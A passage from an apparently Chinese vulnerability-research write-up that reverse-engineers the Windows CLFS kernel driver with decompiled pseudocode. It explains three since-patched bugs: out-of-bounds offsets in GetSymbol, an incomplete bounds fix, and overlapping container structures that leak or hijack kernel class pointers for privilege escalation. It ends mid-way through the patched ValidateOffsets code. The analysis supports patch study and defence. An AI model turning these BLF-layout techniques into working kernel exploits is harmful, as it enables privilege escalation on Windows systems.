之后获取*(_QWORD*)(v22 + 16)即先前MmMapLockedPagesSpecifyCache映射的虚拟内存地址,然后调用CClfsContainer::WriteSector写入磁盘。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| _InterlockedAdd((volatile signed __int32 *)&this->field_4E8 + 1, 1u); _guard_dispatch_icall_fptr(this); v22 = v45; _guard_dispatch_icall_fptr(*(_QWORD *)(v45 + 128)); LODWORD(v41) = ClfsLsnBlockOffset(plsn); v23 = (struct _CLFS_IO_WORKITEM *)(v22 + 96); Timeout = *(_DWORD *)(v22 + 24); v24 = *(void **)(v22 + 16); v25 = v39; v26 = CClfsContainer::WriteSector( (PFILE_OBJECT *)v39, 0LL, v23, v24, Timeout, (union _LARGE_INTEGER *)&v41); if ( v26 != 259 ) KeBugCheckEx(0xC1F5u, 0x3CuLL, v26, (ULONG_PTR)this, 0LL);
|
ReadLogRecord
先分析clfsw32.dll中的ReadLogRecord API,寻找内核入口点。可以发现这里先是调用了CClfsMarshallingContext::ReadLogRecord进行后续处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if ( pcbReadBuffer && (*plsnUndoNext = CLFS_LSN_NULL, *v15 = CLFS_LSN_NULL, *v17 = 0, *v16 = 0LL, *ppvReadBuffer = 0LL, *v13 = 0, *(_QWORD *)pvMarshal == 0x170C1FDF00ALL) ) { v18 = CClfsMarshallingContext::ReadLogRecord( (CClfsMarshallingContext *)pvMarshal, plsnFirst, eContextMode, &v21, v16, pOverlapped);
|
然后又调用NtReadLogRecordInternal函数。
1 2 3 4 5 6 7 8 9 10 11
| *((_QWORD *)v21 + 21) = *((_QWORD *)v21 + 20); LogRecordInternal = NtReadLogRecordInternal( *((void **)this + 6), (union _CLS_LSN *)v21 + 20, (a3 == ClfsContextForward) + 1, *((void **)v21 + 8), *((_DWORD *)this + 32), (unsigned int *)v21 + 18, v43, (*((_BYTE *)this + 156) & 0x20) == 0, v34);
|
最后在这里调用DeviceIoControl,传入的cmd为0x80076832。
1 2
| if ( !DeviceIoControl(hDevice, 0x80076832, InBuffer, 0x10u, a4, nOutBufferSize, lpBytesReturned, lpOverlapped) )
|
可以看到对应的是CClfsRequest::ReadLogBlock函数。
1 2 3 4 5 6 7 8
| case 0x80076832: SecurityInformation = CClfsRequest::ReadLogBlock( this, (__int64)CurrentStackLocation, (__int64)v5, v6, BugCheckParameter4, v19);
|
然后进入CClfsLogFcbPhysical::ReadLogBlock函数,这里参数可以看到有从User传入的LSN用于选择容器及对应偏移, LSN的高4字节代表容器id,低4字节代表基于容器的偏移。
1 2 3 4 5 6 7 8 9 10 11 12
| CClfsRequest_State::Change_State_ReadPending((CClfsRequest_State *)this->stateInitial, this); Status = ((__int64 (__fastcall *)(CClfsLogFcbPhysical *, __int64, __int64 *, _QWORD, __int128 *, unsigned int, CClfsRequest *, int, CLFS_LSN *, int *))this->CClfsLogFcbCommon->CClfsLogFcbCommonVftable->ReadLogBlock)( this->CClfsLogFcbCommon, this->FileObject, &this->UserLsn, (unsigned int)this->UserIrpMdlAddr, &v20, (this->field_108 + 0x1D7) & 0xFFFFFE00, this, v7, &v23, &Information);
|
然后进行一些LSN的比较,保证是范围内的LSN。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| while ( 1 ) { plsn2.offset.idxRecord = *v18; if ( plsn2.offset.idxRecord >= v19 || !ClfsLsnLess(&v48, (const CLFS_LSN *)&this->lsnBase) ) break; LODWORD(v20) = v19 - plsn2.offset.idxRecord; v50 = v20; if ( ((unsigned __int8 (__fastcall *)(CClfsLogFcbPhysical *, void *, __int64))this->CClfsLogFcbCommonVftable->_IsMultiplexed)( this, this->CClfsLogFcbCommonVftable->_IsMultiplexed, v15) ) { v61 = **(CLFS_LSN **)&CClfsLogFcbPhysical::AddLsnOffset((#457 *)this, &v66, &v48, v20); if ( ClfsLsnGreater(&v61, &plsn) ) { v34 = ClfsLsnBlockOffset(&plsn); LODWORD(v20) = v34 - ClfsLsnBlockOffset(&v48); v50 = v20; } }
|
之后调用CClfsLogFcbPhysical::ReadLog继续后续处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| v12 = CClfsLogFcbPhysical::ReadLog( this, &v48, (const struct _CLFS_READ_BUFFER *)&v59, (unsigned int)v20 >> 9, 3u, (ULONG_PTR)v33, a9, &v46); v43 = v12; v26 = v42; if ( v42 && a7 ) (*(void (__fastcall **)(struct IClfsRequestAsync *, _QWORD, _QWORD))(*(_QWORD *)a7 + 88LL))( a7, (unsigned int)v12, v46);
|
该函数会循环的往容器里写入内容,这里可以看到调用GetContainerForLsn来获取对应的容器类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| while ( 1 ) { v19 = v39; if ( v18 >= v39 || v17 && !ClfsLsnLess(v13, (const CLFS_LSN *)&this->lsnBase) ) break; EventObject = CClfsLogFcbPhysical::GetContainerForLsn((CClfsBaseFile **)this, &v30, &v38, v13); if ( EventObject < 0 ) { v10 = v30; break; } v20 = ClfsLsnBlockOffset(v13); v21 = v19 - v18; v35 = v21; v22 = v20; v23 = (this->field_2A0 - (unsigned __int64)v20) >> 9; v37 = v23; if ( v23 <= v21 ) { if ( !v28 && BugCheckParameter3 ) { v28 = 1; (*(void (__fastcall **)(ULONG_PTR))(*(_QWORD *)BugCheckParameter3 + 16LL))(BugCheckParameter3); } v31 = v22; v25 = Event; v10 = v30; EventObject = CClfsContainer::ReadSector((PVOID *)v30, Event, BugCheckParameter3, (PMDL *)&v33, v23, &v31); if ( (EventObject & 0xC0000000) == 0xC0000000 ) goto LABEL_25; if ( v25 ) EventObject = KeWaitForSingleObject(v25, Executive, 0, 0, 0LL); if ( EventObject < 0 ) goto LABEL_25; v24 = (_DWORD)v23 << 9; *a8 += v24;
|
可以看到这里是解析的容器id而非低4字节的偏移。
1 2 3 4 5
| if ( a4 ) v10 = a4->offset.cidContainer; Container = CClfsLogFcbPhysical::GetContainer(this, v10); *a2 = Container; if ( Container )
|
通过AcquireContainerContext去获取对应的上下文内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| struct CClfsContainer *__fastcall CClfsLogFcbPhysical::GetContainer(CClfsLogFcbPhysical *this, int a2) { CClfsContainer *pContainer; struct _CLFS_CONTAINER_CONTEXT *v5;
pContainer = 0LL; v5 = 0LL; if ( a2 == -1 ) return 0LL; CClfsBaseFile::AcquireContainerContext(this->CClfsBaseFilePersisted, this->ContainerTable[a2 & 0x3FF], &v5); if ( v5 ) { pContainer = v5->pContainer; (**(void (__fastcall ***)(CClfsContainer *))pContainer)(pContainer); CClfsBaseFile::ReleaseContainerContext(this->CClfsBaseFilePersisted, &v5); }
|
可以看到这里调用 CClfsBaseFile::GetSymbol去获取真实的容器指针。
1 2 3 4 5 6 7 8
| if ( BaseLogRecord ) { v8 = BaseLogRecord->rgClients[a2]; if ( v8 + 1 <= 1 ) result = 0xC0000008LL; else result = CClfsBaseFile::GetSymbol(this, v8, a3); }
|
GetSymbol函数会检查偏移是否对应,然后返回容器类指针。
1 2 3 4 5 6 7 8 9 10 11 12 13
| if ( this->cBlocks && (pbImage = this->BlocksInfo[2].pbImage) != 0LL ) v9 = (_CLFS_BASE_RECORD_HEADER *)(&pbImage->MajorVersion + (unsigned int)pbImage->RecordOffsets[0]); else v9 = 0LL; if ( *(_DWORD *)((char *)v9 + v4 - 12) == (_DWORD)v4 ) { *a3 = (struct _CLFS_CONTAINER_CONTEXT *)((char *)v9 + v4); } else { v6 = -1073741816; v11 = -1073741816; }
|
小结
通过以上分析可以简单了解到,使用CLFS的主要流程就是:
- CreateLogFile创建BLF文件,保存所有的元数据
- AllocContainer创建容器用于记录数据
- ReserveAndAppendLog往容器中添加记录数据
- ReadLogRecord从容器中获取记录数据
同时我们也能了解到,ReserveAndAppendLog写入数据时并不一定会实时刷新,可以通过控制参数选择是否立即刷新,也可通过调用Flush的API实现刷新,并且写入时是基于物理地址映射的,这就意味着在整个过程中,只要不进行Flush刷新,我们可以通过控制用户内存对数据进行修改(这有可能会是一个攻击面)。
而CLFS大致的类结构也比较清晰了:
- CClfsRequest类处理IO请求
- CClfsLogFcbPhysical相当于主类,需要通过它进行所有的操作
- CClfsBaseFilePersisted是文件管理的总类,管理容器以及BLF文件
- CClfsContainer则是进行文件操作的底层类,用于直接与文件交互
- CClfsBaseFile更像是工具类,用于获取各种信息
0x03 CLFS特性
根据前文的分析,我们能知道CLFS框架是一个基于文件的内核级的日志事务处理框架。
其中最重要的则是其BLF文件,该文件保存着所有的元数据信息,包括Block信息、Record信息、容器信息、客户端信息以及符号表信息(Block管理Record,Record记录所有容器、客户端、符号表等信息),当然这些信息的寻址全都是基于文件偏移的。通过API的调用,可以让内核从我们指定的BLF文件中载入这些信息进入内核空间,同时内核会保留整个文件格式进内核空间。这意味着我们可以随意的进行这些信息的布局,最后这些布局也会同步在内核空间,相当于内核在操作这个文件的副本。
既然我们拥有如此高的自由度,那么就可能存在通过控制一些信息的偏移从而造成越界之类的操作。
对于容器信息还有一个很特别的点,那就是内核在载入每个容器信息时都会为各个容器信息创建一个容器类,而类指针是存储在我们的容器信息结构体中的,相当于我们在内核空间的文件副本中会保存内核指针。当然在将文件副本重新刷新进真实文件时内核会对指针进行清空操作,防止指针泄露,但是清空指针肯定是要满足一定条件的,如果我们可以通过一些操作破坏这些清空指针的条件就有可能将指针存入真实文件从而导致内核指针泄露。同样可能还可以通过一些操作使得容器指针被篡改从而进行指针劫持。
这些具有特性的地方都是潜在的攻击面,可以针对性的对这些攻击面进行漏洞挖掘。
0x04 漏洞挖掘
因为我分析的是早期Win10 1511版本,同时该版本存在15年最初版以及更新后的18年版,所以也挖到了最初版以及更新版的几个漏洞。
漏洞一:直接的越界读取和写入
通过分析实际上能够确认CLFS框架获取信息的函数主要是:`CClfsBaseFile::AcquireClientContext、CClfsBaseFile::AcquireContainerContext等这些个以Acquire开头的函数。
而对于AcquireClientContext以及AcquireContainerContext函数,他们分别从我们的BaseLogRecord对应的数组中获取信息结构体的偏移,再分别调用CClfsBaseFile::GetSymbol的两个重载来获取其实际的内核地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| __int64 __fastcall CClfsBaseFile::AcquireContainerContext( CClfsBaseFilePersisted *this, unsigned int a2, struct _CLFS_CONTAINER_CONTEXT **a3) { __int64 v4; BOOLEAN v6; _CLFS_BASE_RECORD_HEADER *BaseLogRecord; unsigned int v8; __int64 result; unsigned int v10;
v4 = a2; v6 = ExAcquireResourceExclusiveLite(this->PERESOURCE, 1u); if ( (unsigned int)v4 < 0x400 && (BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this)) != 0LL ) { v8 = BaseLogRecord->rgContainers[v4]; if ( v8 ) result = CClfsBaseFile::GetSymbol(this, v8, a3); else result = 3221225480LL; } ... }
__int64 __fastcall CClfsBaseFile::AcquireClientContext( CClfsBaseFilePersisted *this, unsigned __int8 a2, struct _CLFS_CLIENT_CONTEXT **a3) { BOOLEAN v6; _CLFS_BASE_RECORD_HEADER *BaseLogRecord; unsigned int v8; __int64 result; unsigned int v10;
*a3 = 0LL; v6 = ExAcquireResourceExclusiveLite(this->PERESOURCE, 1u); BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this); if ( BaseLogRecord ) { v8 = BaseLogRecord->rgClients[a2]; if ( v8 + 1 <= 1 ) result = 0xC0000008LL; else result = CClfsBaseFile::GetSymbol(this, v8, a3); } ... }
|
我们单拎AcquireContainerContext的GetSymbol重载函数,会发现他这里是直接基于这个偏移进行内核里的寻址,除了唯一的偏移对应检查,期间没有任何的其他检查。我们只需要能够在越界的可控区域布置一个相同的偏移值就能成功绕过检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 __fastcall CClfsBaseFile::GetSymbol( CClfsBaseFilePersisted *this, unsigned int a2, struct _CLFS_CONTAINER_CONTEXT **a3) { __int64 v4; unsigned int v6; BOOLEAN v7; struct _CLFS_LOG_BLOCK_HEADER *pbImage; _CLFS_BASE_RECORD_HEADER *v9; unsigned int v11;
v4 = a2; v6 = 0; v11 = 0; *a3 = 0LL; v7 = ExAcquireResourceSharedLite(this->PERESOURCE, 1u); if ( this->cBlocks && (pbImage = this->BlocksInfo[2].pbImage) != 0LL ) v9 = (_CLFS_BASE_RECORD_HEADER *)(&pbImage->MajorVersion + (unsigned int)pbImage->RecordOffsets[0]); else v9 = 0LL; if ( *(_DWORD *)((char *)v9 + v4 - 12) == (_DWORD)v4 ) { *a3 = (struct _CLFS_CONTAINER_CONTEXT *)((char *)v9 + v4); } else { v6 = -1073741816; v11 = -1073741816; } ... }
|
由此我们就可以在越界可控区域伪造一个这样的结构体信息,又因为先前有提到,容器信息中会保存一个类指针,由此我们可以伪造一个容器类指针从而实现一个伪造的类操作进行提权。
此处漏洞存在于15年的CLFS驱动中,15年左右这种类似的安全漏洞可以说是数不胜数,可惜现在的安全编程开发环境下基本上不会出现这么明显的漏洞了。
漏洞二:修复不严导致的越界漏洞
刚刚漏洞一在18年版本的CLFS驱动中已然修复,修改的点很简单,就是在GetSymbol函数这里加了一个CClfsBaseFile::OffsetToAddr函数进行范围检查,阻止越界。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| __int64 __fastcall CClfsBaseFile::GetSymbol( CClfsBaseFilePersisted *this, unsigned int a2, int a3, struct _CLFS_CONTAINER_CONTEXT **a4) { unsigned int v8; __int64 v9; __int64 v10; struct _CLFS_CONTAINER_CONTEXT *v11; char v12;
v8 = 0; *a4 = 0LL; ExAcquireResourceSharedLite(this->PERESOURCE, 1u); v11 = (struct _CLFS_CONTAINER_CONTEXT *)CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this, a2, v9, v10); if ( !v11 ) goto LABEL_2; if ( v11[-1].eState == a2 ) { if ( v11->cidContainer != a3 ) { LABEL_2: v8 = -1072037875; goto LABEL_7; } *a4 = v11; } ... }
|
分析OffsetToAddr函数能够看到,这里对我们的偏移进行了一个检查,会判断它是否会大于等于ClientId<<9,这个最大值表示我们的文件边界,ClientId最大为0x3d,左移9刚好等于0x7a00它是我们先前提到文件结构中BaseBlock空间的默认大小。
1 2 3 4 5 6 7 8 9 10 11 12
| char *__fastcall CClfsBaseFile::OffsetToAddr(CClfsBaseFilePersisted *this, __int64 a2, __int64 a3, __int64 a4) { struct _CLFS_BASE_RECORD_HEADER *BaseLogRecord; CClfsBaseFilePersisted *v5; __int64 v6;
BaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); if ( BaseLogRecord && (unsigned int)v6 < (unsigned __int16)v5->BlocksInfo[2].pbImage->ClientId << 9 ) return (char *)BaseLogRecord + v6; else return 0LL; }
|
通过这样一个检查函数来杜绝越界行为的发生,乍一看是没问题的,但细看能够发现这里判断的是偏移头是否越界,却没有检查我们的结构体大小,这就能通过如下满足越界条件:
1 2
| Offset < ClientId Offset + ContainerSize > ClientId
|
这使得我们仍然可以布置一个伪造的Container到边界之外,并使用它。
由此可以知道,对于边界的检查要针对头和尾都进行检查,这样单方面的检查仍然会导致漏洞问题,这也是我们漏洞挖掘者要注意的点。
漏洞三:容器类指针的泄露
无论在15年版本还是18年版本,该漏洞都未被修复。
前文讲特性的时候就有提到,他这里容器信息结构体里会保存一个类指针,而写入文件时会清空指针,但是清空是有条件的。这里我们较为详细的分析一下流程。
当BLF文件存在时,我们调用CreateLogFile(OPEN_ALWAYS或者OPEN_EXISTS)会进入CClfsRequest::Create函数的CClfsLogFcbPhysical::Initialize(OPEN重载)分支
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| v16 = v15 - 1; if ( !v16 ) { inserted = RtlLookupElementGenericTableFullAvl((PRTL_AVL_TABLE)(v6 + 56), &Buffer, &NodeOrParent, &SearchResult); if ( SearchResult != TableFoundNode ) { inserted = RtlInsertElementGenericTableFullAvl( (PRTL_AVL_TABLE)(v6 + 56), &Buffer, 0x10u, &NewElement, NodeOrParent, SearchResult); NewElement = 1; } if ( inserted ) { v5 = (CClfsLogFcbPhysical *)*((_QWORD *)inserted + 15); v59 = v5; if ( !NewElement ) ((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))v5->CClfsLogFcbCommonVftable->AddRef)( v5, v5->CClfsLogFcbCommonVftable->AddRef, MasterIrp, a4, v48, *(_QWORD *)v49); v18 = v5->field_380 != 0; ExReleaseFastMutexUnsafe((PFAST_MUTEX)v6); v50 = 0; if ( v18 ) KeWaitForSingleObject(&v5->KEVENT1, Executive, 0, 0, 0LL); v19 = ClfsEffectiveMode(this->Irp, CurrentStackLocation); v20 = CClfsLogFcbPhysical::Initialize( v5, p_SubjectSecurityContext, &AccessState->SubjectSecurityContext, DesiredAccess, (unsigned __int16)UserApcRoutine, AccessState, v19, p_SubjectSecurityContext, v61, v53); goto LABEL_14; } goto LABEL_56; }
|
该Initial函数会调用OpenImage载入BLF文件并进行信息提取,对于容器的载入由LoadContainerQ函数实现。
1 2 3 4 5 6 7 8 9
| EventObject = CClfsBaseFilePersisted::LoadContainerQ( this->CClfsBaseFilePersisted, this->ContainerTable, v50, v46, v49, (unsigned int *)&this->field_550 + 1, (unsigned int *)&this->field_550, &v89);
|
LoadContainerQ函数会遍历所有的容器信息结构体,并检查偏移是否越界,只要不越界就满足,之后会为每个容器初始化一个类并保存指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| while ( (unsigned int)v22 < 0x400 ) { v24 = v23 == v21; if ( v23 >= v21 ) goto LABEL_104; v66 = 0LL; RtlInitUnicodeString(&DestinationString, &word_1C0044010); v19 = (CClfsBaseFilePersisted *)rgContainers; v25 = rgContainers[v22]; if ( (_DWORD)v25 ) { if ( (int)CClfsBaseFile::GetSymbol(this, v25, v22, &v66) < 0 ) goto LABEL_15; v26 = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); if ( !v26 ) goto LABEL_15; if ( (unsigned int)v25 >= (unsigned __int16)v27->ClientId << 9 ) goto LABEL_15; if ( !(struct _CLFS_BASE_RECORD_HEADER *)((char *)v26 + v25) ) goto LABEL_15; v29 = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); if ( !v29 ) goto LABEL_15; if ( v28 >= *(unsigned __int16 *)(v30 + 4) << 9 ) goto LABEL_15; v31 = (const WCHAR *)((char *)v29 + v28); if ( !v31 ) goto LABEL_15; ... v67 = v37; v38 = (CClfsContainer *)ExAllocateFromNPagedLookasideList(&CClfsContainer::m_laList); if ( v38 ) v19 = (CClfsBaseFilePersisted *)CClfsContainer::CClfsContainer(v38); else v19 = 0LL; v33->ullAlignment = (ULONGLONG)v19; if ( !v19 ) { LABEL_115: v12 = -1073741670; goto LABEL_116; } ((void (__fastcall *)(CClfsBaseFilePersisted *))v19->vftable->vector_deleting_destructor)(v19); v39 = v75; v40 = CClfsContainer::Open( (struct _KEVENT **)v33->pContainer, &v67, (const struct _CLFS_FILTER_CONTEXT *)&this->field_B0, v75, (bool *)&v74); v12 = v40; v57 = v40;
|
当我们调用FlushLog API或者通过一些标志位设置使得内核调用FlushImage进行磁盘文件的写入时会调用WriteMetadataBlock进行每个Block的写入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| __int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char a3) { __int64 v4; BOOLEAN v6; __int64 v7; struct _CLFS_LOG_BLOCK_HEADER *pbImage; __int64 v9; __int64 v10; __int64 i; struct _CLFS_CONTAINER_CONTEXT *v12; int v13; unsigned int v14; ULONGLONG *p_field_1B8; unsigned int v17; struct _CLFS_CONTAINER_CONTEXT *v18; unsigned __int64 cbOffset; struct _CLFS_LOG_BLOCK_HEADER *v20;
v4 = a2; v20 = 0LL; v18 = 0LL; v6 = ExAcquireResourceExclusiveLite(this->PERESOURCE, 1u); v7 = v4; pbImage = this->BlocksInfo[v4].pbImage; v20 = pbImage; v9 = pbImage->RecordOffsets[0]; v10 = ++*(_QWORD *)(&pbImage->MajorVersion + v9) & 1LL; if ( (*(_QWORD *)(&pbImage->MajorVersion + v9) & 1) == 0 && a3 ) v7 = (unsigned int)(v4 + 1); cbOffset = this->BlocksInfo[v7].cbOffset; if ( v10 ) ++pbImage->Usn; for ( i = 0LL; (unsigned int)i < 0x400; i = (unsigned int)(i + 1) ) { if ( (int)CClfsBaseFile::AcquireContainerContext(this, i, &v18) >= 0 ) { v12 = v18; this->pContainerTable[i] = v18->pContainer; v12->ullAlignment = 0LL; CClfsBaseFile::ReleaseContainerContext((PERESOURCE *)this, &v18); } else { this->pContainerTable[i] = 0LL; } } ClfsEncodeBlock(pbImage, (unsigned __int16)pbImage->ClientId << 9, pbImage->Usn, 0x10u, 1u); v13 = CClfsContainer::WriteSector( (PFILE_OBJECT *)this->CClfsContainer, (struct _KEVENT *)this->ReadEvent, 0LL, this->BlocksInfo[v4].pbImage, (unsigned __int16)pbImage->ClientId, (LARGE_INTEGER *)&cbOffset); if ( v13 >= 0 ) { ++*(_QWORD *)&this->substruct_180.padding_18C[16]; this->field_1A0 += this->field_D0; } ClfsDecodeBlock(pbImage, (unsigned __int16)pbImage->ClientId, pbImage->Usn, 0x10u, &v17); v14 = 0; p_field_1B8 = (ULONGLONG *)this->pContainerTable; do { if ( *p_field_1B8 && (int)CClfsBaseFile::AcquireContainerContext(this, v14, &v18) >= 0 ) { v18->ullAlignment = *p_field_1B8; CClfsBaseFile::ReleaseContainerContext((PERESOURCE *)this, &v18); } ++v14; ++p_field_1B8; } while ( v14 < 0x400 ); if ( v6 ) ExReleaseResourceForThreadLite(this->PERESOURCE, (ERESOURCE_THREAD)KeGetCurrentThread()); return (unsigned int)v13; }
|
通过上述伪代码能够知道,该函数是通过调用AcquireContainerContext函数获取每个容器的信息结构体,然后进行指针清空的。而之前我们在分析AcquireContainerContext结构体时能知道,它也有条件判断,会判断我们的结构体-0xc的位置是否存放结构体偏移,并检查容器id是否匹配。
1 2 3 4 5 6 7 8 9 10
| if ( v11[-1].eState == a2 ) { if ( v11->cidContainer != a3 ) { LABEL_2: v8 = -1072037875; goto LABEL_7; } *a4 = v11; }
|
如果我们通过一些操作破坏这两个信息使得不符合条件就可以让该函数返回错误,从而避免指针清空。
如何实现呢,其实非常简单,我们可以通过下图这样的构造,先初始化Container1,此时Container1并未被破坏,所以可以正常初始化pContainer,之后我们再初始化Container2,我们构造让Container2的pContainer成员的偏移刚好等于Container1的开头,这样我们在进行Container2初始化时会往Container1开头处写入一个类指针,从而覆盖这里的Offset。

Offset被覆盖成非法值就使得前面的AcqureContainerContext函数条件检查失败,从而导致Container1的指针未被清空,从而实现往文件中写入一个类指针。
当然这里还不止可以构造类指针的泄露,还能构造Container2和Container1的类指针部分重合比如Container1的指针高4字节和Container2的指针的低4字节重合,从而篡改Container1的类指针为一个其他地址进行劫持,甚至是用户空间地址(如果Container2的低4字节小于等于0x7fff的话)。
该漏洞就是来源于我们CLFS的结构体重合特性,这样高的自由度导致的漏洞。
0x05 漏洞修复
在我们的Win10 22h2最新版本,这三个漏洞都已经被修复了。
对于越界的漏洞,它通过对GetSymbol添加更为严格的检查进行漏洞修复。检查了结构体末尾是否越界,检查了起始位置是否正常,还加了个magic值的验证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| __int64 __fastcall CClfsBaseFile::GetSymbol( CClfsBaseFilePersisted *this, unsigned int a2, int a3, struct _CLFS_CONTAINER_CONTEXT **a4) { __int64 v6; unsigned int v8; char v10; CClfsBaseFilePersisted *v11; _CLFS_LOG_BLOCK_HEADER *v12; __int64 v13; unsigned int v14; struct _CLFS_CONTAINER_CONTEXT *v15; int v16; unsigned int v17; unsigned int v18[9];
v6 = a2; v8 = 0; v17 = 0; if ( a2 < 0x1368 ) return 3222929421LL; *a4 = 0LL; ExAcquireResourceSharedLite(this->PERESOURCE, 1u); if ( !CClfsBaseFile::IsValidOffset(this, v6 + 0x2F) ) goto LABEL_16; CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); v18[0] = 0; if ( !v11 || (int)ULongAdd(v6, *(_DWORD *)&v11->cBlocks, v18) < 0 || !v13 || v18[0] >= (unsigned __int16)v12->ClientId << 9 || !(v13 + v6) ) { goto LABEL_16; } if ( *(_DWORD *)(v13 + v6 - 12) != (_DWORD)v6 ) { v8 = 0xC0000008; LABEL_17: v17 = v8; goto LABEL_18; } v14 = ClfsQuadAlign(0x30); if ( v15[-1].usnCurrent != (unsigned __int64)(v16 + v14) || v15->cidNode.cType != 0xC1FDF008 || v15->cidNode.cbNode != 48 || v15->cidContainer != a3 ) { LABEL_16: v8 = 0xC01A000D; goto LABEL_17; } *a4 = v15; LABEL_18: if ( v10 ) { ExReleaseResourceForThreadLite(this->PERESOURCE, (ERESOURCE_THREAD)KeGetCurrentThread()); return v17; } return v8; }
|
而对于先前我们的结构体重合等检查,则是在LoadContainerQ函数遍历Container前添加一个Offset有效性的检查。
1
| Symbol = CClfsBaseFile::ValidateOffsets(this, BaseLogRecord);
|
该函数结构如下:
首先调用RtlInitializeGenericTableAvl创建一个Table,用于存储容器偏移等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| __int64 __fastcall CClfsBaseFile::ValidateOffsets( CClfsBaseFilePersisted *this, struct _CLFS_BASE_RECORD_HEADER *const a2) { char v4; struct _CLFS_LOG_BLOCK_HEADER *pbImage; struct _RTL_AVL_TABLE *PoolWithTag; struct _RTL_AVL_TABLE *v7; __int64 SignaturesOffset; UCHAR *v10; int v11; _BYTE *v12; __int64 v13; _DWORD *v14; unsigned int v15; _DWORD *v16; __int64 v17; unsigned int v18; const unsigned __int16 *v19; BOOLEAN i; PVOID v21; PVOID TableContext; PVOID TableContexta; unsigned __int64 v24;
v4 = 0; pbImage = this->BlocksInfo[2].pbImage; PoolWithTag = (struct _RTL_AVL_TABLE *)ExAllocatePoolWithTag(PagedPool, 0x68uLL, 0x73666C43u); v7 = PoolWithTag; if ( !PoolWithTag ) return 0xC000009ALL; RtlInitializeGenericTableAvl( PoolWithTag, CClfsBaseFile::CompareGenericoffsets, (PRTL_AVL_ALLOCATE_ROUTINE)CClfsBaseFile::AllocOffsetNode, CClfsLogFcbPhysical::ReleaseLsnMap, PoolWithTag); SignaturesOffset = pbImage->SignaturesOffset; if ( (unsigned int)SignaturesOffset > (unsigned __int16)pbImage->ClientId << 9 ) goto LABEL_25; v10 = &a2->cUsn + a2->cbSymbolZone; if ( v10 < &a2->cUsn || (struct _CLFS_LOG_BLOCK_HEADER *)((char *)pbImage + SignaturesOffset) < pbImage || v10 > &pbImage->MajorVersion + SignaturesOffset ) { goto LABEL_25; } v11 = CClfsBaseFile::ValidateContainerContextOffsets(this, v7, a2); if ( v11 < 0 || (v11 = CClfsBaseFile::ValidateClientContextOffsets((CClfsBaseFile *)this, v7, a2), v11 < 0) || (v11 = CClfsBaseFile::ValidateContainerSymTblOffsets( (CClfsBaseFile *)this, (struct _CLFS_VALIDATE_OFFSET_TABLE *)v7, a2), v11 < 0) || (v11 = CClfsBaseFile::ValidateClientSymTblOffsets(this, (struct _CLFS_VALIDATE_OFFSET_TABLE *)v7, a2), v11 < 0) ) { LABEL_26: if ( *(enum _EVENT_TYPE **)&WPP_GLOBAL_Control != &WPP_GLOBAL_Control && (*(_DWORD *)(*(_QWORD *)&WPP_GLOBAL_Control + 44LL) & 0x8000000) != 0 ) { WPP_SF_sdLD( *(_QWORD *)(*(_QWORD *)&WPP_GLOBAL_Control + 24LL), 26, SignaturesOffset, (int)"CClfsBaseFile::ValidateOffsets", 104, v4, v11); } for ( i = 1; ; i = 0 ) { v21 = RtlEnumerateGenericTableAvl(v7, i); if ( !v21 ) break; if ( !RtlDeleteElementGenericTableAvl(v7, v21) ) { v11 = 0xC01A000D; goto LABEL_35; } } goto LABEL_35; } v4 = RtlNumberGenericTableElementsAvl(v7); v12 = RtlEnumerateGenericTableAvl(v7, 1u); v14 = RtlEnumerateGenericTableAvl(v7, 0); if ( v12 ) { while ( 1 ) { v15 = v14 ? *v14 : a2->cbSymbolZone + 0x1338; v16 = CClfsBaseFile::OffsetToAddr(this, *(unsigned int *)v12, SignaturesOffset, v13, 